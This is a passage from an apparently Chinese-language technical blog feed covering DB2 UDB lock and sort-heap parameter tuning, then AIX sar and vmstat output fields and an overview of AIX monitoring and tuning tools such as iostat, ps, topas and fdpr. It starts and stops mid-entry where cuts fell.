<P align=justify>一条糟糕的 SQL 语句会彻底破坏一切。一个相对简单的 SQL 语句也能够搞糟一个调整得很好的数据库和机器。对于很多这些语句,天底下(或在文件中)没有 DB2 UDB 配置参数能够纠正因错误的 SQL 语句导致的高成本的情况。</P>
<P align=justify>更糟糕的是,DBA 常常受到种种束缚:不能更改 SQL(可能是因为它是应用程序供应商提供的)。这给 DBA 只留下三条路可走:</P>
<P align=justify>1. 更改或添加索引</P>
<P align=justify>2. 更改群集</P>
<P align=justify>3. 更改目录统计信息</P>
<P align=justify>健壮的应用程序由成千上万条不同的 SQL 语句组成。这些语句执行的频率随应用程序的功能和日常的业务需要的不同而不同。SQL 语句的实际成本是它执行一次的成本乘以它执行的次数。</P>
<P align=justify>每个 DBA 所面临的重大的任务是,识别具有最高实际成本的语句的挑战,并且减少这些语句的成本。</P>
<P align=justify>通过本机 DB2 Explain 实用程序、一些第三方供应商提供的工具或 DB2 UDB SQL Event Monitor 数据,可以计算出执行一次 SQL 语句所用的资源成本。但是语句执行频率只能通过仔细和耗时地分析 DB2 UDB SQL Event Monitor 的数据来了解。</P>
<P align=justify>最佳性能不仅需要排除高成本 SQL 语句,而且需要确保相应的物理基础结构是适当的。当所有的调节旋钮都设置得恰到好处、内存被有效地分配到池和堆而且 I/O 均匀地分配到各个磁盘时,才可得到最佳性能。</P></FONT><B><FONT face=SimHei size=5>
<P align=justify>不可遗漏的</FONT><FONT face=Arial size=5>—Lock</P></B></FONT><FONT face=SimSun size=2>
<P align=justify>这些与锁相关的控制都是数据库配置参数: </P>
<P align=justify>LOCKLIST 表明分配给锁列表的存储容量。每个数据库都有一个锁列表,锁列表包含了并发连接到该数据库的所有应用程序所持有的锁。锁定是数据库管理器用来控制多个应用程序并发访问数据库中数据的机制。行和表都可以被锁定。根据对象是否还持有其它锁,每把锁需要 32 个或 64 个字节的锁列表: </P>
<P align=justify>需要 64 个字节来持有某个对象上的锁,在这个对象上,没有持有其它锁。 </P>
<P align=justify>需要 32 个字节来记录某个对象上的锁,在这个对象上,已经持有一个锁。</P>
<P align=justify>MAXLOCKS 定义了应用程序持有的锁列表的百分比,在数据库管理器执行锁升级之前必须填充该锁列表。当一个应用程序所使用的锁列表百分比达到 MAXLOCKS 时,数据库管理器会升级这些锁,这意味着用表锁代替行锁,从而减少列表中锁的数量。当任何一个应用程序所持有的锁数量达到整个锁列表大小的这个百分比时,对该应用程序所持有的锁进行锁升级。如果锁列表用完了空间,那么也会发生锁升级。数据库管理器通过查看应用程序的锁列表并查找行锁最多的表,来决定对哪些锁进行升级。如果用一个表锁替换这些行锁,将不再会超出 MAXLOCKS 值,那么锁升级就会停止。否则,锁升级就会一直进行,直到所持有的锁列表百分比低于 MAXLOCKS。MAXLOCKS 参数乘以 MAXAPPLS 参数不能小于 100。</P>
<P align=justify>虽然升级过程本身并不用花很多时间,但是锁定整个表(相对于锁定个别行)降低了并发性,而且数据库的整体性能可能会由于对受锁升级影响的表的后续访问而降低。</P>
<P align=justify>LOCKTIMEOUT 的缺省值是 -1,这意味着将没有锁超时(对 OLTP 应用程序,这种情况可能会是灾难性的)。许多 DB2 用户用 LOCKTIMEOUT = -1。将 LOCKTIMEOUT 设置为很短的时间值,例如 10 或 15 秒。在锁上等待过长时间会在锁上产生雪崩效应。</P>
<P align=justify>首先,用以下命令检查 LOCKTIMEOUT 的值:</P>
<P align=justify>db2 get db cfg for DBNAME</P>
<P align=justify>并查找包含以下文本的行:</P>
<P align=justify>Lock timeout (sec) (LOCKTIMEOUT) = -1</P>
<P align=justify>如果值是 -1,考虑使用以下命令将它更改为 15 秒(一定要首先询问应用程序开发者或供应商以确保应用程序能够处理锁超时):</P>
<P align=justify>db2 update db cfg for DBNAME using LOCKTIMEOUT 15</P>
<P align=justify>同时应该监视锁等待的数量、锁等待时间和正在使用锁列表内存(lock list memory)的量。请发出以下命令:</P>
<P align=justify>db2 get snapshot for database on DBNAME</P>
<P align=justify>如果 Lock list memory in use (Bytes) 超过所定义 LOCKLIST 大小的 50%,那么在 LOCKLIST 数据库配置中增加 4k 页的数量。</P></FONT><B><FONT face=SimHei size=5>
<P align=justify>掩盖问题的</FONT><FONT face=Arial size=5>—SORTHEAP</P></B></FONT><FONT face=SimSun size=2>
<P align=justify>SORTHEAP 是一个数据库配置参数,它定义了私有排序所使用的私有内存页的最大数目,或共享排序所使用的共享内存页的最大数目。如果排序是私有排序,那么该参数影响代理程序私有内存。如果排序是共享排序,那么该参数影响数据库的共享内存。每个排序都有单独的由数据库管理器按需分配的排序堆。在排序堆中对数据进行排序。如果由优化器来指导排序堆大小的分配,那么用优化器提供的信息来分配的排序堆的大小要小于由该参数所指定的排序堆大小。</P>
<P align=justify>SHEAPTHRES 是一个数据库管理器配置参数。私有和共享排序所使用内存的来源不一样。共享排序内存区的大小是在第一次连接到数据库时根据 SHEAPTHRES 值以静态方式预先确定的。私有排序内存区的大小是不受限制的。对于私有排序和共享排序,应用 SHEAPTHRES 参数的方式不同:</P>
<P align=justify>对于私有排序,SHEAPTHRES 是对私有排序在任何给定的时间可以消耗的全部内存的实例级软限制。当实例的总私有排序内存消耗量达到这一限制时,为其它进入的私有排序请求而分配的内存会大大减少。 </P>
<P align=justify>对于共享排序,SHEAPTHRES 是对共享排序在任何给定的时间可以消耗的全部内存的数据库级硬限制。当达到这一限制时,不允许有其它共享排序内存请求,直到总的共享内存消耗量回落到 SHEAPTHRES 所指定的限制以下。</P>
<P align=justify>使用排序堆的操作示例包括内存中表的散列连接和操作。阈值的显式定义防止数据库管理器将过多数量的内存用于大量排序。</P>
<P align=justify>建议</P>
<P align=justify>使用数据库系统监视器来跟踪排序活动。 </P>
<P align=justify>使用合适的索引使排序堆的使用降到最低。 </P>
<P align=justify>当需要频繁进行大型排序时,增加 SORTHEAP 的值。 </P>
<P align=justify>如果增加 SORTHEAP,请确定是否还需要调整数据库管理器配置文件中的 SHEAPTHRES 参数。 </P>
<P align=justify>优化器用排序堆大小来确定存取路径。在更改该参数后请考虑重新绑定应用程序(使用 REBIND PACKAGE 命令)。 </P>
<P align=justify>理想情况下,应当将排序堆阈值(SHEAPTHRES)参数合理地设置为在数据库管理器实例中设置的 SORTHEAP 参数最大值的倍数。该参数至少应当是实例中任何数据库所定义的最大 SORTHEAP 的两倍。</P>
<P align=justify>如何更改这些参数</P>
<P align=justify>要更改 SORTHEAP 和 SHEAPTHRES 的值,请运行以下命令:</P>
<P align=justify>-- SORTHEAP should be changed for individual database --</P>
<P align=justify>db2 update db cfg for DB_NAME using SORTHEAP a_value</P>
<P align=justify>-- SHEAPTHRES is a database manager parameter --</P>
<P align=justify>db2 update dbm cfg using SHEAPTHRES b_value</P>
<P align=justify></P>
<P align=justify>研究步骤</P>
<P align=justify>OLTP 应用程序不应该执行大型排序。大型排序在 CPU 和 I/O 资源方面的成本太高了。通常,SORTHEAP 大小的缺省值(256 个 4KB 页)就足够了。事实上,对于高并发性 OLTP,可能希望降低这个缺省值。当需要进一步研究时,可以发出下面这条命令:</P>
<P align=justify>db2 update monitor switches using sort on</P>
<P align=justify>然后,让应用程序运行一会,然后输入:</P>
<P align=justify>db2 get snapshot for database on DBNAME</P>
<P align=justify>根据该输出,可以计算每个事务的排序数目,并可以计算溢出了可用于排序的内存的那部分排序的百分比。</P>
<P align=justify>SortsPerTransaction</P>
<P align=justify>= (Total Sorts) / (Commit statements attempted + Rollback statements attempted)</P>
<P align=justify></P>
<P align=justify>PercentSortOverflow</P>
<P align=justify>= (Sort overflows * 100 ) / (Total sorts)</P>
<P>经验:如果 SortsPerTransaction 大于 5,它可能表明每个事务的排序太多。如果 PercentSortOverflow 大于 3%,那么可能发生了严重的、未曾预料到的大型排序。发生这种情况时,增加 SORTHEAP 只会隐藏性能问题 - 却无法修正它。这个问题的正确解决方案是通过添加正确的索引改进有问题的 SQL 语句的存取方案。</P></FONT>]]></description>
</item><item>
<title><![CDATA[AIX 性能调优－内存、CPU篇]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7422</link>
<author>xueflhg</author>
<pubDate>2005/7/25 11:09:42</pubDate>
<description><![CDATA[<A>　
<P>sar -P ALL&nbsp;&nbsp; cpu使用情况 
<P>sar -a 文件访问情况<BR>dirblk/s&nbsp; 定位文件时被目录访问守护进程读取的快（512b）的个数<BR>iget/s&nbsp;&nbsp;&nbsp; i节点查找系统进程被调用次数<BR>lookuppn/s 目录查找进程找到v节点，并获取路径名的次数</P>
<P>sar -b&nbsp; buffer的活动情况，包括传输、访问、和命中率<BR>bread/s、bwrit/s 块IO操作的数量<BR>lread/s、lwrit/s 逻辑 IO请求的个数<BR>pread/s、pwrit/s 裸设备IO操作数量<BR>%rcache、%rwrit cache命中率，计算共式为：((lreads-breads)/lreads)*100</P>
<P><BR>sar -c 系统调用情况<BR>exec/s、fork/s&nbsp; 调用和执行系统调用总数<BR>sread/s、swrit/s read/writ 系统调用次数<BR>rchar/s、wchar/s 被read/writ系统调用的字符数量<BR>scall/s&nbsp; 系统调用总数</P>
<P><BR>sar -k 内核进程活动情况<BR>kexit/s 中断的内核进程数<BR>kproc-ov/s 由于进程数的限制无法创建内核进程的次数<BR>ksched/s 被作业分派的内核进程数</P>
<P><BR>sar -m 消息队列和信号灯活动情况<BR>msg/s&nbsp; IPC消息队列活动情况<BR>sema/s 信号灯活动情况</P>
<P>
<P>sar -d 磁盘读写情况</P>
<P>sar -q 队列统计信息<BR>run-sz 内核线程处于运行队列的平均数<BR>%runocc 最近时间段运行队列占用百分比<BR>swpq-sz 内核线程等待 页面调度的平均数<BR>%swpocc 交换队列最近活动情况</P>
<P><BR>sar -r 页面调度信息<BR>cycle/s 每秒中页面置换次数<BR>fault/s 每秒中page fault次数<BR>slots&nbsp;&nbsp; 在页空间中空闲页数量<BR>odio/s 每秒中不使用页面空间的磁盘io数</P>
<P><BR>sar -v 进程、内核线程、i节点、和文件表 的状态</P>
<P>sar-w 上下文切换次数</P>
<P>sar -y tty设备活动情况<BR>canch/s&nbsp; tty输入队列中规范的字符数<BR>mdmin/s&nbsp; tty modem 中断<BR>outch/s&nbsp; 输出队列字符数<BR>rawch/s&nbsp; 输入队列字符数<BR>revin/s&nbsp; tty接收中断<BR>xmtin/s&nbsp; tty传输中断</P>
<P>
<P>如果CPU的使用率接近100％（usr＋system），可以视为是CPU瓶颈。而如果相当大的时间都花费在IO等待上，那就意味着cpu执行受到了磁盘IO的限制，<BR>而IO瓶颈可能来自于文件访问或者没有足够的内存来分配页面。<BR>注意：系统花费在等待远程文件访问的时间不会记入io 等待时间，如果CPU和IO等待的时间都相当的低，但是响应时间又不是很满意，那应该确认系统<BR>花费多少时间在等待远程io，一直一来aix下没有命令对远程io进行分析，只能通过跟踪数据来观察。</P>
<P><BR>vmstat </P>
<P><BR>vmstat命令报告内核线程，虚拟内存、磁盘、陷阱、和CPU活动情况。<BR>Kthr&nbsp; 线程活动情况<BR>r 运行队列<BR>b 等待队列</P>
<P>memory 虚拟和实际内存使用情况<BR>avm&nbsp; 活动的虚拟页面<BR>fre&nbsp; 空闲的页面，当系统内存大于64MB时，最小值MINFREE为120frames，当内存小于64MB时，最小值为内存以MB计的两倍<BR>&nbsp;&nbsp;&nbsp;&nbsp; MINFREE和MAXFREE值可以通过vmtune命令来查看</P>
<P>page&nbsp; page fault和page活动情况，当在内存里分配一个页面时（非NFS或者永久文件页面），其被视为工作页面，工作页面通常包括应用堆栈、<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 数据和其他的共享内存段。因此当一个程序栈或者数据区域需要增长时，内存会被被访问，vvm会从ram和页面空间所在设备分配空间。这就意味着<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在内存耗尽之前，页面空间会被使用。<BR>re&nbsp;&nbsp;&nbsp; 页面输入输出列表，每秒中内存回收数量，当页面处于空闲列表且没有被再利用，它就会被回收应为没有新的IO会初始化它，也包括那些没有完成的IO操作但又被VMM使用<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 预先读取算法调入内存的页面。<BR>pi&nbsp;&nbsp;&nbsp; 从页面空间page in的页面<BR>po&nbsp;&nbsp;&nbsp; 从页面空间page out的页面</P>
<P>fr&nbsp;&nbsp;&nbsp; 页面空闲（页面重置）<BR>sr&nbsp;&nbsp;&nbsp; 页面被页面调度算法扫描次数<BR>cy&nbsp;&nbsp;&nbsp; 页面调度算法进行调度的时钟周期</P>
<P><BR>faults&nbsp; 陷阱和系统中断率<BR>in&nbsp;&nbsp;&nbsp; 设备中断<BR>sy&nbsp;&nbsp;&nbsp; 系统调用<BR>cs&nbsp;&nbsp;&nbsp; 内核线程上下文切换</P>
<P>CPU&nbsp; cpu使用情况<BR>usr&nbsp; 用户进程<BR>sys&nbsp; 系统进程<BR>id&nbsp;&nbsp; cpu空闲时间<BR>wa&nbsp;&nbsp; 等待磁盘IO时间</P>
<P><BR>准则：<BR>r&lt;5，b≈0，<BR>如果fre&lt;MINFREE，将会出现连续不断的页面调度，将导致系统性能问题。<BR>对于page列，re，pi，po，cy维持于比较稳定的状态，PI率不超过5，如果有pagin发生，那么关联页面必须先进行pageout<BR>在内存相对紧张的环境下pagein会强制对不同的页面进行steal操作。如果系统正在读一个大批的永久页面，你也许可以看到po和pi列<BR>会出现不一致的增长，这种情景并不一定表明系统负载过重，但是有必要对应用程序的数据访问模式进行见检查。在稳定的情况下，扫描率和重置率几乎相等，在<BR>多个进程处理使用不同的页面的情况下，页面会更加不稳定和杂乱，这时扫描率可能会比重置率高出。</P>
<P>faults列，in，sy，cs会不断跳跃，这里没有明确的限制，唯一的就是这些值最少大于100</P>
<P>cpu列，us，sys，id和wa也是不确定的，最理想的状态是使cpu处于100%工作状态，单这只适合单用户的情况下。<BR>如果在多用户环境中us＋sys》80，进程就会在运行队列中花费等待时间，响应时间和吞吐量就会下降。wa&gt;40表明磁盘io没有也许存在不合理的平衡，或者对磁盘操作比较频繁，<BR></P></A>]]></description>
</item><item>
<title><![CDATA[AIX资源监控与调制工具]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=7421</link>
<author>xueflhg</author>
<pubDate>2005/7/25 11:08:44</pubDate>
<description><![CDATA[
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>性能优化以及确定系统中的性能瓶颈是系统管理员的主要任务之一。在一个计算机系统中，CPU、内存、硬盘和网络是影响系统性能的主要因素，因此系统性能调整也主要在于如何在这些资源中获得某种平衡，以满足人们对系统性能的期望。性能调制需要很多技巧，知识以及经验，不能仅靠分析统计数字，图表就可取得，性能调制有时是一件复杂甚至是非常困难的任务。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>如同其它UNIX系统一样，AIX也给系统管理员剪裁系统提供了非常丰富的手段。这里我们简单介绍RS/6000 AIX系统中几个用于监控和调制多项系统资源的工具，每个工具的功能都很强，如想更透彻地了解这些命令的用法，请参考有关技术资料或手册。这里讲述的命令将不仅仅局限于CPU、硬盘、内存或网络资源的某个方面，它们可用于其中的一项或多项资源。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14 align=middle><B><FONT size=4>AIX监控工具</FONT></B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>1、iostat</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>iostat命令主要通过观察物理磁盘的活跃时间以及他们的平均传输速度，监控系统输入/输出设备负载。根据iostat命令产生的报告，用户可确定一个系统配置是否平衡，并据此在物理磁盘与适配器之间更好地平衡输入/输出负载。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>iostat工具的主要目的是通过监控磁盘的利用率（tm_act字段），而探测到系统中的I/O瓶颈。iostat还可用于确定CPU问题，辅助容量规划，并可以为最终解决I/O问题提供相关材料。vmstat和iostat联合使用，可捕获到确定与CPU，内存和I/O子系统有关的性能问题的必需数据。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>iostat命令可产生下面四种类型的报告：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· tty和CPU利用情况</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 磁盘的利用情况</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 系统吞吐率</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 适配器吞吐率</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>2、netpmon</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>netpmon命令可以监控关于网络行为的系统事件和性能以及网络行为对CPU的消耗。netpmon命令在指定的监控周期报告网络行为。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>netpmon启动后直至发布trcstop命令终止它之前，一直在后台运行。如果使用缺省设置，trace命令将会在netpmon命令之后立即自动启动。另外，netpmon中还可用trcon命令选择在后面的某个时间跟踪。当这种跟踪用trcstop命令终止后，netpmon命令就会输出它的报告并退出。缺省时报告会输出到标准输出，需要时也可以重定向到某个文件。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>netpmon命令还可以在一次先前产生的跟踪中以脱机模式使用。在这样的情况下，需要用gennames命令产生一个文件。该文件必须在trace终止后立即产生。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>所产生的报告中包括CPU使用情况、网络设备驱动器I/O情况、互联网络套接字调用，以及网络文件系统（NFS）I/O信息：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· CPU use：netpmon命令报告线程和中断处理器对CPU的使用情况。该命令将网络相关行为的CPU使用情况与其它行为的CPU使用情况区分开。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· Network Device Driver I/O：netpmon命令监控网络适配器上所通过的I/O统计。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· Internet Socket Calls：netpmon命令在互联网络套接字上监控read，recv，recvfrom，write，send以及sendto子程序。ICMP，TCP，UDP这几个协议的每个进程都会予以报告。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· NFS I/O：netpmon命令监控客户NFS文件上的read和write子程序，NFS客户上的RPC请求以及NFS服务器的read和write请求。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>3、PDT（性能诊断工具）</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>PDT通过收集和集中各种性能、配置和可用数据自动找出性能问题。PDT评估系统的当前状态并跟踪系统在工作量和性能上的变化。PDT数据收集和报告很容易起用，不需要更多的管理行为。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>虽然许多常见的系统性能问题都有特定性，但PDT还试图用一些被认为性能好的系统中的通用概念来帮助它查找问题。这些概念包括：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 资源的平衡使用</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 在限定范围操作</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 确定的工作量趋势</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 无错误操作</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 系统参数得到适当设置。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>4、ps</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ps命令是UNIX系统中最常见的命令，它主要显示系统中关于进程的统计和状态信息，如进程ID，I/O行为以及CPU利用率等。利用ps命令提供的信息，可决定一个进程运行了多长时间，进程使用了多少CPU时间，以及进程是否受系统的惩罚。还可用ps命令确定进程使用了多少内存，完成多少I/O，进程的优先级以及是谁创建了进程。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>下面这几个命令组合对于管理RS/6000 AIX系统有帮助：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（1）显示10个消耗CPU最多的进程：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14># ps aux |head -1 ;ps aux |sort -rn +2 |head –10</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（2）显示10个消耗存储空间最多的进程：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14># ps aux |head -1 ;ps aux |sort -rn +3 |head -10</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（3）按顺序显示系统中受罚的进程：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>#ps -eakl |head -1 ;ps -eakl |sort -rn +5</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（4）按优先级顺序显示系统中的进程：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>#ps -eakl |sort -n +6 |head</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（5）按处理时间为顺序显示系统中的前十个进程：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>#ps vx |head -1 ;ps vx |grep -v PID |sort -rn +3 |head –10</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（6）按实际内存使用的多少顺序显示系统中的前十个进程：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>#ps vx |head -1 ;ps vx |grep -v PID |sort -rn +6 |head –10</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（7）按换入页面的多少顺序显示系统中的前10个进程：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>#ps vx |head -1 ;ps vx |grep -v PID |sort -rn +4 |head -10</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>5、vmstat</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>vmstat命令报告关于核心线程，虚拟内存，自陷（trap），磁盘以及CPU行为的统计。而且每种行为报告都被更细致地用百分比分别表示用户态、核态、空闲以及等待磁盘I/O等情况。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>内核维持了对核心线程，换页以及中断行为的统计数据，而vmstat命令则通过使用knlist子程序和/dev/kmen伪设备驱动器访问这些数据。磁盘的输入/输出统计是通过设备驱动器维持的。对于磁盘，平均传输速度是通过使用活跃时间核传输信息数目决定的。而活跃时间百分比则是从报告期间驱动器忙的时间量计算出来的。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>vmstat命令产生五种类型的报告：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 虚存行为报告</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· fork子进程情况报告</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 每个设备产生的中断情况报告</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 汇总报告</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 输入/输出行为报告</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>6、sar</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>sar命令报告CPU的使用情况，I/O以及其它系统行为。sar命令可以收集，报告以及保存系统行为信息。如果没有指定输入文件，则sar调用sarc命令访问系统数据。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>用户可用让cron命令运行两个shell脚本（/usr/lib/sa/sa1和/usr/lib/sa2）以提供日统计和报表。在crontab文件/var/spool/cron/crontabs/adm中包括了一些样本节，用于示范cron要在何时运行这些shell脚本。以这种方式收集到的数据对于确定系统的时间周期特征和决定峰值使用时间是有用的。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>但要注意的是，sar命令自己运行时会产生相当数量的读写。因此最好在没有工作量的情况下运行sar统计，看看sar对总的统计数字有多大的影响。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>7、topas</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>topas命令用于监控各种系统资源，如CPU的使用情况，CPU事件和队列，内存和换页空间的使用，磁盘性能，网络性能以及NFS统计等。它还会报告指派给不同WLM类的进程对系统资源的消耗情况。它还能报告系统中最热门的进程和工作量管理器（WLM）的热门类。有关WLM类信息只有在WLM激活时才会显示。topas命令将热门进程定义为那些使用大量CPU时间的进程。topas命令没有作日志的选项，所有信息都是实时的。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>topas命令利用System Performance Measurement Interface（SPMI）API获得有关信息。正是因为通过SPMI API，使系统开销保持在最小程度。topas命令使用perfstat库调用访问perfstat内核扩展。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>8、truss</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>truss命令跟踪一个进程的系统调用、所接收的信号以及招致的机器错。要检查的应用程序可在truss命令的命令行中指定，也可将truss命令挂在一个或多个已经在运行的进程上。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14 align=middle><B><FONT size=4>AIX调制工具</FONT></B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>1、fdpr</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>fdpr命令改进用户级程序和库的执行时间和对实际内存的使用。fdr命令可以通过不同的操作，如删除不必要的指令和重组代码和数据，而实现这样的目标。fdr命令安装在目录/usr/bin下。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>fdpr命令在三个不同阶段上，对原有的执行代码应用先进的优化技术从而为其构筑一个优化的可执行代码。这三个阶段分别是：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 在阶段1，fdpr创建一个增加了某些装置（instrumented）的可执行程序。原有的可执行程序被保存为__ProgramFile.save，而新版本被命名为__ProgramFile.instr。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 在阶段2，fdpr运行该增加了某些装置的可执行程序，并收集摘要（profiling）数据。该摘要数据被保存在一个叫__ProgramFile.prof的文件中。运行执行程序时需要为它提供典型的输入数据，以使fdpr命令能够找出代码中可优化的部分。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>· 在阶段3，fdpr命令使用阶段2中收集到的重要信息对可执行代码重新排序。这些重新排序涉及到这样一些任务：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（1）将那些高频度执行代码序列包装在一起。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（2）对条件分之重新排序，以改进硬件对分之条件的预测。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（3）将较少使用的代码部分移出来。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（4）内嵌一些热门函数。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>（5）从重排序后的代码中删除掉NOP（空操作）指令。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>另外，编译器中还提供了一个-qfdpr标志，用它可使编译器在执行代码中增加一些额外的信息，以辅助fdpr对该执行代码重新排序。但是，如果使用这个-qfdpr标志，则fdpr也只对那些用-qfdpr标志编译的模块重新排序。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B>2、schedtune</B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>schedtune命令可以给抖动、进程挂起、时间片以及线程在锁上所能轮询的时间长度等设置准则。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>用schedtune，可调整AIX中所设立的一组影响其内存负载控制机制的参数。Schedtune命令用于显示和修改那些用于检测系统内存是否在过度使用以致造成抖动的参数。Schedtune命令还能用于修改运行在系统上的进程的惩罚和衰减因子。在root用户下，用schedtune命令可做下面的事情：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
